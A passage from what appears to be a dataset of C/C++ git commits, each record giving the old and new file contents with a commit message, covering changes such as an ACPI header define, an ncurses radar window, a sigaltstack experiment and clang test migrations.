the function is used for all messages that return a\n * structure that is not returned in registers.  Be aware that calling\n * conventions differ between operating systems even within the same\n * architecture, so take great care if using this function for small (two\n * integer) structures.\n *\/\n#ifdef __cplusplus\nid objc_msgSend_stret(id self, SEL _cmd, ...);\n#else\nvoid objc_msgSend_stret(id self, SEL _cmd, ...);\n#endif\n\/**\n * Standard message sending function.  This function must be cast to the\n * correct types for the function before use.  The first argument is the\n * receiver and the second the selector.\n *\n * Note that this function is not available on all architectures.  For a more\n * portable solution to sending arbitrary messages, consider using\n * objc_msg_lookup_sender() and then calling the returned IMP directly.\n *\n * This version of the function is used for all messages that return floating\n * point values.\n *\/\nlong double objc_msgSend_fpret(id self, SEL _cmd, ...);\n\n#endif\n\n#endif \/\/_OBJC_MESSAGE_H_\n","subject":"Fix clang's stupid warning to work around a bug in OS X headers...","message":"Fix clang's stupid warning to work around a bug in OS X headers...\n\n\n","lang":"C","license":"mit","repos":"darlinghq\/darling-libobjc2,davidchisnall\/libobjc2,darlinghq\/darling-libobjc2,gnustep\/libobjc2,davidchisnall\/libobjc2,gnustep\/libobjc2,crystax\/android-vendor-libobjc2,crystax\/android-vendor-libobjc2,ngrewe\/libobjc2,ngrewe\/libobjc2"}
{"commit":"130f6f3b116db2168b0656d8e1cf4bb7053388ec","old_file":"cuser\/acpica\/acenv_header.h","new_file":"cuser\/acpica\/acenv_header.h","old_contents":"#define ACPI_MACHINE_WIDTH 64\n#define ACPI_SINGLE_THREADED\n#define ACPI_DEBUG_OUTPUT\n#define ACPI_DISASSEMBLER\n#define ACPI_USE_LOCAL_CACHE\n#define ACPI_INLINE inline\n#define ACPI_USE_NATIVE_DIVIDE\n\n\/\/ Depends on threading support\n#define ACPI_DEBUGGER\n#define DEBUGGER_THREADING DEBUGGER_SINGLE_THREADED\n\/\/ Depends on debugger support\n\/\/#define ACPI_DBG_TRACK_ALLOCATIONS\n\n#define ACPI_PHYS_BASE 0x100000000\n\n#if 0\n#define AcpiException(ModName, Line, Status, Format, ...) \\\n\tAcpiOsPrintf(ACPI_MSG_EXCEPTION \"%s, \" Format, \\\n\t\tAcpiFormatException(Status), \\\n\t\t## __VA_ARGS__)\n#endif\n\n#include <stdint.h>\n#include <stdarg.h>\n#define AcpiOsPrintf printf\n#define AcpiOsVprintf vprintf\n","new_contents":"#define ACPI_MACHINE_WIDTH 64\n#define ACPI_SINGLE_THREADED\n#define ACPI_DEBUG_OUTPUT\n#define ACPI_DISASSEMBLER\n#define ACPI_USE_LOCAL_CACHE\n#define ACPI_INLINE inline\n#define ACPI_USE_NATIVE_DIVIDE\n\n\/\/ Depends on threading support\n#define ACPI_DEBUGGER\n#define DEBUGGER_THREADING DEBUGGER_SINGLE_THREADED\n\/\/ Depends on debugger support\n\/\/#define ACPI_DBG_TRACK_ALLOCATIONS\n\n#define ACPI_PHYS_BASE 0x100000000\n\n#if 0\n#define AcpiException(ModName, Line, Status, Format, ...) \\\n\tAcpiOsPrintf(ACPI_MSG_EXCEPTION \"%s, \" Format, \\\n\t\tAcpiFormatException(Status), \\\n\t\t## __VA_ARGS__)\n#endif\n\n#define ACPI_GET_FUNCTION_NAME __FUNCTION__\n\n#include <stdint.h>\n#include <stdarg.h>\n#define AcpiOsPrintf printf\n#define AcpiOsVprintf vprintf\n","subject":"Use GCC's __FUNCTION__ for ACPI_GET_FUNCTION_NAME","message":"Use GCC's __FUNCTION__ for ACPI_GET_FUNCTION_NAME\n","lang":"C","license":"mit","repos":"olsner\/os,olsner\/os,olsner\/os,olsner\/os"}
{"commit":"1d092135d5973e22550e260c944c2c5e7678923a","old_file":"src\/main.c","new_file":"src\/main.c","old_contents":"#include <stdlib.h>\n#include <ncurses.h>\n\n\n\/**\n * The main function, called when atcso is started (duh).\n *\/\nint main(int argc, char** argv) {\n    initscr();\n    raw();      \/\/ Disable line buffering\n    noecho();   \/\/ Don't show things the user is typing\n\n    printw(\"hai wurld\");\n    refresh();\n\n    while (getch() != 'q');  \/\/ Wait for the user to hit `q' to quit\n    endwin();\n\n    return EXIT_SUCCESS;\n}\n","new_contents":"#include <stdlib.h>\n#include <ncurses.h>\n#include <time.h>\n\n\ntypedef struct {\n} AtcsoData;\n\n\nvoid mainloop();\nWINDOW *createRadarWin();\nvoid updateRadarWin(AtcsoData *data, WINDOW *radarWin);\n\n\n\/**\n * The main function, called when atcso is started (duh).\n *\/\nint main(int argc, char **argv) {\n    initscr();\n    raw();                  \/\/ Disable line buffering\n    noecho();               \/\/ Don't show things the user is typing\n    nodelay(stdscr, TRUE);  \/\/ Non-blocking getch()\n\n    mainloop();             \/\/ Start the game!\n\n    endwin();\n    return EXIT_SUCCESS;\n}\n\n\/**\n * The main loop: runs infinitely until the game is ended.\n *\/\nvoid mainloop() {\n    \/\/ get all our windows\n    refresh();\n    WINDOW *radarWin = createRadarWin();\n\n    \/\/ TODO put this somewhere... better\n    const int TICK_DELAY = 2;\n\n    \/\/ the main loop\n    int ch;\n    time_t lastTick = time(NULL);\n    AtcsoData data;\n    for (;;) {\n        if (difftime(time(NULL), lastTick) > TICK_DELAY) {\n            updateRadarWin(&data, radarWin);\n\n            lastTick += TICK_DELAY;\n        }\n\n        if ((ch = getch()) != ERR) {\n            switch (ch) {\n            case 'q':\n            case 'Q':\n                goto cleanup;\n            }\n        }\n    }\n\n    cleanup:\n    delwin(radarWin);\n}\n\n\/**\n * Creates the radar window, the biggest one that has all the planes and stuff.\n *\/\nWINDOW *createRadarWin() {\n    WINDOW *radarWin = newwin(21, 60, 0, 0);\n\n    for (int i = 0; i < 59; ++i) waddch(radarWin, '-');\n    waddch(radarWin, ' ');\n    for (int i = 0; i < 19; ++i) {\n        waddstr(radarWin, \"| \");\n        for (int j = 0; j < 28; ++j) waddstr(radarWin, \". \");\n        waddstr(radarWin, \"| \");\n    }\n    for (int i = 0; i < 59; ++i) waddch(radarWin, '-');\n    waddch(radarWin, ' ');\n\n    wrefresh(radarWin);\n    return radarWin;\n}\n\n\/**\n * Update and refresh the radar window.\n *\/\nvoid updateRadarWin(AtcsoData *data, WINDOW *radarWin) {\n    \/\/ TODO do stuff\n}\n","subject":"Implement outline of \"radar window\"","message":"Implement outline of \"radar window\"\n\nThe radar window is simply the \"main\" window, with all the planes and\nstuff.\n\nThis commit draws the outline of this window, and it also adds a few\npieces of code that will serve as a framework for future inter-window\ncommunication.\n","lang":"C","license":"mit","repos":"KeyboardFire\/atcso"}
{"commit":"07eb6bd1593c5e96c68d418ea23706e27874b7e8","old_file":"features\/netsocket\/nsapi.h","new_file":"features\/netsocket\/nsapi.h","old_contents":"\n\/** \\addtogroup netsocket *\/\n\/** @{*\/\n\/* nsapi.h - The network socket API\n * Copyright (c) 2015 ARM Limited\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef NSAPI_H\n#define NSAPI_H\n\n\n\/\/ entry point for nsapi types\n#include \"nsapi_types.h\"\n\n#ifdef __cplusplus\n\n\/\/ entry point for C++ api\n#include \"netsocket\/SocketAddress.h\"\n#include \"netsocket\/NetworkStack.h\"\n\n#include \"netsocket\/NetworkInterface.h\"\n#include \"netsocket\/EthInterface.h\"\n#include \"netsocket\/WiFiInterface.h\"\n#include \"netsocket\/CellularBase.h\"\n#include \"netsocket\/MeshInterface.h\"\n\n#include \"netsocket\/Socket.h\"\n#include \"netsocket\/UDPSocket.h\"\n#include \"netsocket\/TCPSocket.h\"\n#include \"netsocket\/TCPServer.h\"\n\n#endif\n\n\n#endif\n\n\/** @}*\/\n","new_contents":"\n\/** \\addtogroup netsocket *\/\n\/** @{*\/\n\/* nsapi.h - The network socket API\n * Copyright (c) 2015 ARM Limited\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef NSAPI_H\n#define NSAPI_H\n\n\n\/\/ entry point for nsapi types\n#include \"nsapi_types.h\"\n\n#ifdef __cplusplus\n\n\/\/ entry point for C++ api\n#include \"netsocket\/SocketAddress.h\"\n#include \"netsocket\/NetworkStack.h\"\n\n#include \"netsocket\/NetworkInterface.h\"\n#include \"netsocket\/EthInterface.h\"\n#include \"netsocket\/WiFiInterface.h\"\n#include \"netsocket\/CellularBase.h\"\n#include \"netsocket\/MeshInterface.h\"\n\n#include \"netsocket\/Socket.h\"\n#include \"netsocket\/UDPSocket.h\"\n#include \"netsocket\/TCPSocket.h\"\n#include \"netsocket\/TCPServer.h\"\n#include \"netsocket\/TLSSocket.h\"\n\n#endif\n\n\n#endif\n\n\/** @}*\/\n","subject":"Add missing include for TLSSocket","message":"Add missing include for TLSSocket\n\nTCP and UDP sockets are automatically available when mbed.h is\nincluded in an application.\n\nThis change lets the TLSSocket be used in the same way.\n","lang":"C","license":"apache-2.0","repos":"andcor02\/mbed-os,andcor02\/mbed-os,andcor02\/mbed-os,andcor02\/mbed-os,andcor02\/mbed-os,kjbracey-arm\/mbed,kjbracey-arm\/mbed,kjbracey-arm\/mbed,mbedmicro\/mbed,mbedmicro\/mbed,mbedmicro\/mbed,mbedmicro\/mbed,kjbracey-arm\/mbed,mbedmicro\/mbed,andcor02\/mbed-os"}
{"commit":"88dd832b22b4927f9d571158c0429df0a50fd6d8","old_file":"sigaltstack.c","new_file":"sigaltstack.c","old_contents":"#include <stdio.h>\n#include <signal.h>\n#include <unistd.h>\n#include <assert.h>\n#include <stdlib.h>\n#include <setjmp.h>\n\njmp_buf try;\n\nvoid handler(int sig) {\n  static int i = 0;\n\n  write(2, \"stack overflow\\n\", 15);\n  longjmp(try, ++i);\n  _exit(1);\n}\n\nunsigned recurse(unsigned x) {\n    return recurse(x)+1;    \n}\n\nint main() {\n  char* stack;\n  stack = malloc(sizeof(stack) * SIGSTKSZ);\n  stack_t ss = {\n    .ss_size = SIGSTKSZ,\n    .ss_sp = stack,\n  };\n  struct sigaction sa = {\n    .sa_handler = handler,\n    .sa_flags = SA_ONSTACK\n  };\n\n  sigaltstack(&ss, 0);\n  sigfillset(&sa.sa_mask);\n  sigaction(SIGSEGV, &sa, 0);\n  if (setjmp(try) < 3) {\n    recurse(0);\n  } else {\n    printf(\"caught exception!\\n\");    \n  }\n\n  return 0;\n}\n","new_contents":"#include <stdio.h>\n#include <signal.h>\n#include <unistd.h>\n#include <assert.h>\n#include <stdlib.h>\n#include <setjmp.h>\n\njmp_buf try;\n\nvoid handler(int sig) {\n  static int i = 0;\n\n  printf(\"stack overflow %d\\n\", i);\n  longjmp(try, ++i);\n  assert(0);\n}\n\nunsigned recurse(unsigned x) {\n    return recurse(x)+1;    \n}\n\nint main() {\n  char* stack;\n  stack = malloc(sizeof(stack) * SIGSTKSZ);\n  stack_t ss = {\n    .ss_size = SIGSTKSZ,\n    .ss_sp = stack,\n  };\n  struct sigaction sa = {\n    .sa_handler = handler,\n    .sa_flags = SA_ONSTACK\n  };\n\n  sigaltstack(&ss, 0);\n  sigfillset(&sa.sa_mask);\n  sigaction(SIGSEGV, &sa, 0);\n\n  if (setjmp(try) < 3) {\n    recurse(0);\n  } else {\n    printf(\"caught exception!\\n\");    \n  }\n\n  return 0;\n}\n","subject":"Add assert, more print info","message":"Add assert, more print info\n","lang":"C","license":"apache-2.0","repos":"danluu\/setjmp-longjmp-ucontext-snippets,danluu\/setjmp-longjmp-ucontext-snippets"}
{"commit":"13bdfcd1c659359289f373052b21fb9f998dcc0b","old_file":"test\/Preprocessor\/microsoft-import.c","new_file":"test\/Preprocessor\/microsoft-import.c","old_contents":"\/\/ RUN: %clang_cc1 -E -fms-compatibility %s 2>&1 | grep 'doh.c:100:2: error: #import of type library is an unsupported Microsoft feature'\n\/\/ RUN: %clang_cc1 -E -fms-compatibility %s 2>&1 | grep 'doh.c:200:2: error: #import of type library is an unsupported Microsoft feature'\n\/\/ RUN: %clang_cc1 -E -fms-compatibility %s 2>&1 | grep 'doh.c:300:2: error: #import of type library is an unsupported Microsoft feature'\n\n#line 100 \"doh.c\"\n#import \"pp-record.h\" \/\/ expected-error {{#import of type library is an unsupported Microsoft feature}}\n\n\/\/ Test attributes\n#line 200 \"doh.c\"\n#import \"pp-record.h\" no_namespace, auto_rename \/\/ expected-error {{#import of type library is an unsupported Microsoft feature}}\n\n\/\/ This will also fire the \"#import of type library is an unsupported Microsoft feature\"\n\/\/ error, but we can't use -verify because there's no way to put the comment on the proper line\n#line 300 \"doh.c\"\n#import \"pp-record.h\" no_namespace \\\n                      auto_rename \\\n                      auto_search\n","new_contents":"\/\/ RUN: %clang_cc1 -E -verify -fms-compatibility %s\n\n#import \"pp-record.h\" \/\/ expected-error {{#import of type library is an unsupported Microsoft feature}}\n\n\/\/ Test attributes\n#import \"pp-record.h\" no_namespace, auto_rename \/\/ expected-error {{#import of type library is an unsupported Microsoft feature}}\n\n#import \"pp-record.h\" no_namespace \\\n                      auto_rename \\\n                      auto_search\n\/\/ expected-error@-3 {{#import of type library is an unsupported Microsoft feature}}\n\n","subject":"Migrate a test to -verify","message":"Migrate a test to -verify\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@173716 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"b0e5fd7a307529651190ddd452f54b25d1c38a78","old_file":"src\/ptwise\/updates.h","new_file":"src\/ptwise\/updates.h","old_contents":"","new_contents":"\n\/\/ Upwind updater\nvoid updater_first_order_dimensional_splitting(real* q,\n                                               const real* aux,\n                                               const int nx,\n                                               const int ny,\n                                               const real* amdq,\n                                               const real* apdq,\n                                               const real* wave,\n                                               const real* wave_speeds,\n                                               const rp_grid_params grid_params\n                                               )\n{\n  int col, row, idx_left, idx_center, idx_up, idx_out_x, idx_out_y;\n  const int num_ghost = grid_params.num_ghost;\n  const int num_states = grid_params.num_states;\n  \/\/  const int num_waves = rp_grid_params.num_waves;\n\n#pragma omp parallel for schedule(runtime) nowait\n  for(row = num_ghost; row <= ny + num_ghost; ++row) {\n    for(col = num_ghost; col <= nx + num_ghost; ++col) {\n      idx_left = col + row*(nx + 2*num_ghost) - 1;\n      idx_up = col + (row - 1)*(nx + 2*num_ghost);\n      idx_center = idx_left + 1;\n      idx_out_x = (col - num_ghost) + (row - num_ghost) * (nx + 1);\n      idx_out_y = idx_out_x + ((nx + 1)*(ny + 1));\n\n      for(int state=0; state < num_states; ++state){\n        q[idx_left*num_states + state]   -= amdq[idx_out_x*num_states + state];\n        q[idx_up*num_states + state]     -= amdq[idx_out_y*num_states + state];\n        q[idx_center*num_states + state] -= apdq[idx_out_x*num_states + state];\n        q[idx_center*num_states + state] -= apdq[idx_out_y*num_states + state];\n      }\n    }\n  }\n}\n\n","subject":"Add first order dimensional sweep updating","message":"Add first order dimensional sweep updating\n","lang":"C","license":"bsd-3-clause","repos":"ManyClaw\/ManyClaw,ManyClaw\/ManyClaw,ManyClaw\/ManyClaw"}
{"commit":"49248d85df3037126b8282cae0610f9c499da548","old_file":"tests\/compiler\/cxx_runtime.h","new_file":"tests\/compiler\/cxx_runtime.h","old_contents":"\/\/ \n\/\/ Copyright 2013 Jeff Bush\n\/\/ \n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/ \n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/ \n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\/\/ \n\n\/\/\n\/\/ Symbols that need to be defined to use C++.  These are stubs and don't\n\/\/ actually do anything\n\/\/\n\nnamespace __cxxabiv1\n{\n\tclass __class_type_info\n\t{\n\tpublic:\n\t\t__class_type_info() {}\n\t\tvirtual ~__class_type_info() {}\n\t};\n\n\tclass __si_class_type_info\n\t{\n\tpublic:\n\t\t__si_class_type_info() {}\n\t\tvirtual ~__si_class_type_info() {}\n\t};\n\n\t__class_type_info cti;\n\t__si_class_type_info sicti;\n}   \n\nvoid operator delete(void *ptr) throw()\n{\n}\n\nextern \"C\" void __dso_handle()\n{\n}\n\nextern \"C\" void __cxa_atexit()\n{\n}","new_contents":"\/\/ \n\/\/ Copyright 2013 Jeff Bush\n\/\/ \n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/ \n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/ \n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\/\/ \n\n\/\/\n\/\/ Symbols that need to be defined to use C++.  These are stubs and don't\n\/\/ actually do anything\n\/\/\n\nnamespace __cxxabiv1\n{\n\tclass __class_type_info\n\t{\n\tpublic:\n\t\t__class_type_info() {}\n\t\tvirtual ~__class_type_info() {}\n\t};\n\n\tclass __si_class_type_info\n\t{\n\tpublic:\n\t\t__si_class_type_info() {}\n\t\tvirtual ~__si_class_type_info() {}\n\t};\n\n\t__class_type_info cti;\n\t__si_class_type_info sicti;\n}   \n\nvoid operator delete(void *ptr) throw()\n{\n}\n\nvoid *__dso_handle;\n\nextern \"C\" void __cxa_atexit(void (*f)(void *), void *objptr, void *dso)\n{\n}","subject":"Make these a bit more correct","message":"Make these a bit more correct\n","lang":"C","license":"apache-2.0","repos":"FulcronZ\/NyuziProcessor,jbush001\/NyuziProcessor,FulcronZ\/NyuziProcessor,FulcronZ\/NyuziProcessor,FulcronZ\/NyuziProcessor,jbush001\/NyuziProcessor,hoangt\/NyuziProcessor,jbush001\/NyuziProcessor,jbush001\/NyuziProcessor,hoangt\/NyuziProcessor,hoangt\/NyuziProcessor,hoangt\/NyuziProcessor,jbush001\/NyuziProcessor,jbush001\/NyuziProcessor"}
{"commit":"9f51152f683a4d5f48d6dd2db66b2909fd183b3c","old_file":"Wangscape\/codecs\/TilesetCodec.h","new_file":"Wangscape\/codecs\/TilesetCodec.h","old_contents":"","new_contents":"#pragma once\n\n#include <spotify\/json.hpp>\n\n#include \"Tileset.h\"\n\nusing namespace spotify::json::codec;\n\nnamespace spotify\n{\nnamespace json\n{\n\ntemplate<>\nstruct default_codec_t<Tileset>\n{\n    static object_t<Tileset> codec()\n    {\n        auto codec = object<Tileset>();\n        codec.required(\"resolution\", &Tileset::resolution);\n        codec.required(\"filename\", &Tileset::filename);\n        codec.required(\"x\", &Tileset::x);\n        codec.required(\"y\", &Tileset::y);\n        codec.required(\"terrains\", &Tileset::terrains);\n        return codec;\n    }\n};\n\n}\n}\n","subject":"Add a codec for Tileset","message":"Add a codec for Tileset\n","lang":"C","license":"mit","repos":"serin-delaunay\/Wangscape,Wangscape\/Wangscape,serin-delaunay\/Wangscape,Wangscape\/Wangscape,Wangscape\/Wangscape"}
{"commit":"7fe3a44fbf3767cc27c2c91dd0f328839be714a6","old_file":"src\/commands.h","new_file":"src\/commands.h","old_contents":"#ifndef LACO_COMMANDS_H\n#define LACO_COMMANDS_H\n\nstruct LacoState;\n\n\/**\n * Gets passed ever line to see if it matches one of the REPL command. If it\n * does, that command will be executed.\n *\/\nvoid laco_handle_command(struct LacoState* laco, char* line);\n\n#endif \/* LACO_COMMANDS_H *\/\n","new_contents":"#ifndef LACO_COMMANDS_H\n#define LACO_COMMANDS_H\n\nstruct LacoState;\n\ntypedef void (*LacoHandler)(struct LacoState* laco, const char** arguments);\n\nstruct LacoCommand {\n  const char** matches;\n  LacoHandler handler;\n};\n\n\/**\n * Gets passed ever line to see if it matches one of the REPL command. If it\n * does, that command will be executed.\n *\/\nvoid laco_handle_command(struct LacoState* laco, char* line);\n\n#endif \/* LACO_COMMANDS_H *\/\n","subject":"Define data types for structured command handling","message":"Define data types for structured command handling\n","lang":"C","license":"bsd-2-clause","repos":"sourrust\/laco"}
{"commit":"97ccfa599c0479a4ea9b4df9291c564d5afd80e3","old_file":"test\/Analysis\/inline2.c","new_file":"test\/Analysis\/inline2.c","old_contents":"\/\/ RUN: %clang_cc1 -analyze -inline-call -analyzer-store region -analyze-function f2 -verify %s\n\n\/\/ Test parameter 'a' is registered to LiveVariables analysis data although it\n\/\/ is not referenced in the function body. \nint f1(int a) {\n  return 1;\n}\n\nvoid f2() {\n  int x;\n  x = f1(1);\n}\n","new_contents":"\/\/ RUN: %clang_cc1 -analyze -inline-call -analyzer-store region -analyze-function f2 -verify %s\n\n\/\/ Test parameter 'a' is registered to LiveVariables analysis data although it\n\/\/ is not referenced in the function body. \n\/\/ Before processing 'return 1;', in RemoveDeadBindings(), we query the liveness\n\/\/ of 'a', because we have a binding for it due to parameter passing.\nint f1(int a) {\n  return 1;\n}\n\nvoid f2() {\n  int x;\n  x = f1(1);\n}\n","subject":"Add comments to test case.","message":"Add comments to test case.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@97619 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang"}
{"commit":"aee95684b289b3a34702454fbd1fa1bbd4e48d38","old_file":"src\/gfx\/gl\/texture.h","new_file":"src\/gfx\/gl\/texture.h","old_contents":"\/*\n * Copyright (C) 2015 Luke San Antonio\n * All rights reserved.\n *\/\n#pragma once\n#include \"glad\/glad.h\"\n#include \"..\/texture.h\"\nnamespace game { namespace gfx { namespace gl\n{\n  struct GL_Texture : public Texture\n  {\n    void allocate_(Vec<int> const&, Image_Format) noexcept override;\n\n    inline void blit_data_(Volume<int> const& vol,\n                           Color const* data) noexcept override\n    {\n      \/\/ Fuck it, it might work.\n      blit_data_(vol, Data_Type::Integer, data);\n    }\n\n    inline void blit_data_(Volume<int> const& vol,\n                           float const* data) noexcept override\n    {\n      blit_data_(vol, Data_Type::Float, data);\n    }\n\n    void blit_data_(Volume<int> const&, Data_Type,\n                    void const*) noexcept override;\n\n    GLuint tex_id;\n    GLenum texture_type;\n\n    Image_Format format_;\n\n    void bind(unsigned int loc) const noexcept;\n  };\n} } }\n","new_contents":"\/*\n * Copyright (C) 2015 Luke San Antonio\n * All rights reserved.\n *\/\n#pragma once\n#include \"glad\/glad.h\"\n#include \"..\/texture.h\"\nnamespace game { namespace gfx { namespace gl\n{\n  struct GL_Texture : public Texture\n  {\n    void allocate_(Vec<int> const&, Image_Format) noexcept override;\n\n    inline void blit_data_(Volume<int> const& vol,\n                           Color const* data) noexcept override\n    {\n      \/\/ Fuck it, it might work.\n      static_assert(sizeof(Color) == sizeof(Color::c_t) * 4,\n                    \"Color struct must not have any padding.\");\n      blit_data_(vol, Data_Type::Integer, data);\n    }\n\n    inline void blit_data_(Volume<int> const& vol,\n                           float const* data) noexcept override\n    {\n      blit_data_(vol, Data_Type::Float, data);\n    }\n\n    void blit_data_(Volume<int> const&, Data_Type,\n                    void const*) noexcept override;\n\n    GLuint tex_id;\n    GLenum texture_type;\n\n    Image_Format format_;\n\n    void bind(unsigned int loc) const noexcept;\n  };\n} } }\n","subject":"Verify array of colors is contigous","message":"Verify array of colors is contigous\n","lang":"C","license":"bsd-3-clause","repos":"RedCraneStudio\/redcrane-engine,RedCraneStudio\/redcrane-engine,RedCraneStudio\/redcrane-engine,RedCraneStudio\/redcrane-engine"}
{"commit":"909d0e643ab120ef34344d4b589408ac50d23570","old_file":"src\/io\/disk.h","new_file":"src\/io\/disk.h","old_contents":"#ifndef DISK_H\n#define DISK_H\n\n#include \"..\/process\/process.h\"\n\n\n#ifdef __i386__\n#define IOPRIO_GET 290\n#elif __x86_64__\n#define IOPRIO_GET 252\n#endif\n\n#define IOPRIO_WHO_PROCESS 1\n\n#define IOPRIO_CLASS_SHIFT (13)\n#define IOPRIO_PRIO_MASK ((1UL << IOPRIO_CLASS_SHIFT) - 1)\n\n#define PRIOLEN 8\n\nchar *filesystem_type(void);\n\nint ioprio_get(int pid);\n\nchar *ioprio_class(int pid);\n\nchar *ioprio_class_nice(int pid);\n\nvoid proc_io(proc_t *procs);\n\n#endif\n","new_contents":"#ifndef DISK_H\n#define DISK_H\n\n#include <stdint.h>\n#include \"..\/process\/process.h\"\n\n\n#ifdef __i386__\n#define IOPRIO_GET 290\n#elif __x86_64__\n#define IOPRIO_GET 252\n#endif\n\n#define IOPRIO_WHO_PROCESS 1\n\n#define IOPRIO_CLASS_SHIFT (13)\n#define IOPRIO_PRIO_MASK ((1UL << IOPRIO_CLASS_SHIFT) - 1)\n\n#define PRIOLEN 8\n\nchar *filesystem_type(void);\n\nint ioprio_get(int pid);\n\nchar *ioprio_class(int pid);\n\nchar *ioprio_class_nice(int pid);\n\nuint64_t get_process_taskstat_io(int pid, char field);\n\n#endif\n","subject":"Adjust declaration for taskstats io call","message":"Adjust declaration for taskstats io call\n","lang":"C","license":"mit","repos":"tijko\/dashboard"}
{"commit":"105129546008a77655b14ed4987baee1401d5058","old_file":"fortune_points\/geom\/point.h","new_file":"fortune_points\/geom\/point.h","old_contents":"#pragma once\n\nstruct Point{\n  double x,y;\n  Point();\n  \/*\n  first double input param: x coordinate.\n  second double input param: y coordinate.\n  *\/\n  Point(double,double);\n  bool operator<(Point)const;\n  bool operator==(Point)const;\n};\n\ndouble dist(Point a,Point b);","new_contents":"#pragma once\n\nclass Point{\npublic:\n  double x,y;\n  Point();\n  \/*\n  first double input param: x coordinate.\n  second double input param: y coordinate.\n  *\/\n  Point(double,double);\n  bool operator<(Point)const;\n  bool operator==(Point)const;\n};\n","subject":"Remove deprecated function and use class to define a Point","message":"Remove deprecated function and use class to define a Point\n","lang":"C","license":"mit","repos":"matheusdallrosa\/voronoi-diagram-construction,matheusdallrosa\/voronoi-diagram-construction"}
{"commit":"59d679f48e3c528ed883b8d0142b2e5086b2d45c","old_file":"hab\/proxr\/cb-set-resource.c","new_file":"hab\/proxr\/cb-set-resource.c","old_contents":"#include <string.h>\n#include \"proxrcmds.h\"\n#include \"sim-hab.h\"\n\nvoid cb_set_resource(bionet_resource_t *resource, bionet_value_t *value)\n{\n    double data;\n    double content;\n    int id;\n    bionet_node_t *node;\n\n    bionet_value_get_float(value, &data);\n    if(data < 0 || data > 255)\n\treturn;\n\n    node = bionet_resource_get_node(resource);\n    \/\/ get index of resource\n    \/\/FIXME: probably a better way to do this\n    for(int i=0; i<16; i++)\n    {\n        char buf[5];\n        char name[24];\n        strcpy(name, \"Potentiometer\\0\");\n        sprintf(buf,\"%d\", i);\n        int len = strlen(buf);\n        buf[len] = '\\0';\n        strcat(name, buf);\n\n        if(bionet_resource_matches_id(resource, name))\n        {\n            id = i;\n    \t    \/\/ command proxr to adjust to new value\n    \t    set_potentiometer(id, (int)data); \n\t    \/\/ set resources datapoint to new value\n            content = data*POT_CONVERSION; \n            bionet_resource_set_double(resource, content, NULL);\n            hab_report_datapoints(node);\n            return;\n        }\n    }\n}\n\n","new_contents":"#include <string.h>\n#include \"proxrcmds.h\"\n#include \"sim-hab.h\"\n\nvoid cb_set_resource(bionet_resource_t *resource, bionet_value_t *value)\n{\n    double data;\n    double content;\n    int id;\n    bionet_node_t *node;\n\n    bionet_value_get_double(value, &data);\n    if(data < 0 || data > 255)\n\treturn;\n\n    node = bionet_resource_get_node(resource);\n    \/\/ get index of resource\n    \/\/FIXME: probably a better way to do this\n    for(int i=0; i<16; i++)\n    {\n        char buf[5];\n        char name[24];\n        strcpy(name, \"Potentiometer\\0\");\n        sprintf(buf,\"%d\", i);\n        int len = strlen(buf);\n        buf[len] = '\\0';\n        strcat(name, buf);\n\n        if(bionet_resource_matches_id(resource, name))\n        {\n            id = i;\n    \t    \/\/ command proxr to adjust to new value\n    \t    set_potentiometer(id, (int)data); \n\t    \/\/ set resources datapoint to new value\n            content = data*POT_CONVERSION; \n            bionet_resource_set_double(resource, content, NULL);\n            hab_report_datapoints(node);\n            return;\n        }\n    }\n}\n\n","subject":"Change another float to double.","message":"Change another float to 